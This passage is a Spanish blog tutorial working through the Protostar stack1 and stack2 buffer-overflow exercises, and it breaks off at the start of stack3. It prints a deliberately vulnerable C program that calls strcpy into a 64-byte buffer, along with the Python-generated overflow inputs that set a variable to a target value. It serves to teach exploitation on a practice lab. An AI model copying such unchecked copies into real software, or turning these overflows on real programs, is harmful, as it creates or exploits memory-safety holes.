&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Hoy vamos a ver algún ejercicio más de &lt;a href=&quot;https://exploit-exercises.com/protostar/&quot; target=&quot;_blank&quot;&gt;Exploit exercises&lt;/a&gt;&amp;nbsp;pero concretamente vamos a empezar por el número 1, ya que en el anterior post &lt;a href=&quot;http://s3ik0tr0n.blogspot.com.es/2016/06/exploiting-practico-desde-0-parte-1.html&quot; target=&quot;_blank&quot;&gt;Exploiting práctico desde 0 (parte 1)&lt;/a&gt;&amp;nbsp;el ejercicio que hicimos fué el 0.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bien, vamos a ponernos manos a la obra, y ya que en el otro post ya expliqué bastantes cosas, en este vamos a ir un poco más a &quot;tiro hecho&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Ejercicio Protostar Stack1&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Si recordais en el anterior post &quot;ganábamos&quot; con solo cambiar el valor de la variable modified, daba igual el valor que le diéramos, con que fuese distinto de 0, era suficiente. Pues bien, este ejercicio nº 1 se basa en exáctamente lo mismo peeero la diferencia es que ahora ya no vale con que sea distinto de 0, ahora tiene que tener un valor concreto. El valor que vamos a necesitar en este caso es&amp;nbsp;&lt;span style=&quot;background-color: #fcfcfc; color: #2aa198; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;0x61626364.&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: #fcfcfc; color: #2aa198; font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;Aquí os dejo el código del programa:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;andale mono&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;courier new&amp;quot; , monospace;&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important; font-weight: bold !important;&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203, 75, 22) !important;&quot;&gt;volatile&lt;/span&gt; &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;modified&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203, 75, 22) !important;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argc&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;      &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;errx&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;please specify an argument&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220, 50, 47) !important;&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203, 75, 22) !important;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mh&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;0x61626364&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;      &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;you have correctly got the variable to the right value&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220, 50, 47) !important;&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot; style=&quot;box-sizing: border-box; color: rgb(203, 75, 22) !important;&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;      &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;Try again, you got 0x%08x&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220, 50, 47) !important;&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;modified&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;  &lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; line-height: 18.85px; text-align: start;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como se puede ver el programa es muy parecido al anterior, el principal cambio que quiero que veáis es que en este caso el input al programa se le pasa por argumento y no por el sdtin (con la función gets()).&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En este caso se usa la función strcpy(buffer, argv[1]); para copiar el contenido del primer argumento pasado al programa a el buffer que tenemos declarado. Como se puede apreciar no se comprueba la longitud del argumento y se copia en el buffer.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para terminar vemos la comparación de la variable modified para, en caso de ser igual a 0x61626364 mostrar el tan aclamado mensaje de victoria o en su defecto decirnos que somos unos paquetes y que volvamos a intentarlo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Y ahora diréis pero vamos a ver... para qué ponen este ejercicio si es prácticamente igual que el anterior... no tiene sentido blah, blah, blah. Pues bien, aunque no lo parezca este ejercicio tiene muchísimo sentido y es por lo siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La forma en la que se guardan los valores en la memoria no tiene porqué ser en el orden que tu crees, me explico, en este caso la arquitectura del procesador es un x86 little endian, esto que quiere decir, pues que los bytes con menor importancia van primero. Hace poco me pusieron un ejemplo que me gustó mucho, imaginad que los bytes son cajas de zapatos, si las apilas poniendo primero la 1, luego la 2, luego la 3 y por ultimo la 4, al desapilarlas el orden más fácil será coger la 4, luego la 3, luego la 2 y por último la 1.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
No voy a utilizar el gdb en este caso, por que es muy muy similar al anterior.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para conseguir pasar este nivel entonces, tendremos que hacer lo siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;./stack1 `python -c &#39;print &quot;A&quot;*64+&quot;\x64\x63\x62\x61&quot;&#39;`&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
Asumiendo eso sí que nos encontramos en la carpeta de los ejercicios, que recuerdo por si a alguien se le había olvidado que es /opt/protostar/bin/&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Ejercicio Protostar Stack2&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Este ejercicio es calcao al anterior, la única diferencia es la forma de dar el input al programa. En este caso será mediante variables de entorno. Es tan parecido que no voy a copiar ni el código fuente, aunque sí que voy a dejaros un enlace al ejercicio, por si queréis echarle un vistazo.&amp;nbsp;https://exploit-exercises.com/protostar/stack2/&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En este caso el programa toma los valores de la variable de entorno llamada GREENIE, y para completar el ejercicio tendremos que conseguir que la variable modified contenga&amp;nbsp;&lt;span style=&quot;background-color: #fcfcfc; color: #2aa198; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;0x0d0a0d0a&lt;/span&gt;&lt;span style=&quot;background-color: #fcfcfc; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #2aa198; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt; &lt;/span&gt;para ello vamos a crear la variable de entorno que contenga el overflow y como siempre al final de esos 64 caracteres insertar el valor oportuno para que el if devuelva true.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Primero vamos a ver como se setea una variable de entorno en linux y cómo ver su contenido:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;GREENIE=&quot;Hola Mundo&quot;&lt;/li&gt;
&lt;li&gt;export GREENIE&lt;/li&gt;
&lt;li&gt;printenv GREENIE&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Si ponemos esos comandos en el terminal, al introducir el tercero nos aparecerá el mensaje &quot;Hola Mundo&quot; sin las comillas, ya que estas sirven para delimitar el string de esa variable (si la variable va a contener espacios mejor rodearla por comillas, en caso contrario no es necesario).&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bueno ahora que ya sabemos crear la variable de entorno, vamos a darle el valor deseado para completar este nivel:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;GREENIE=`python -c &#39;print &quot;A&quot;*64+&quot;\x0a\x0d\x0a\x0d&quot;&#39;`&lt;/li&gt;
&lt;li&gt;export GREENIE&lt;/li&gt;
&lt;li&gt;./stack2&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Y con estos sencillos pasos conseguiremos el valor necesario para completar la prueba stack2.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Ejercicio Protostar Stack3&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Bueno, bueno, bueno señores, que ya nos vamos metiendo en harina y ahora sí que empieza a ponerse algo más &quot;complicado&quot;, aunque prácticamente es lo mismo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bien, este ejercicio sí que ya es distinto a los anteriores así que voy a explicar un poco el código:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; text-align: start; white-space: pre;&quot;&gt;
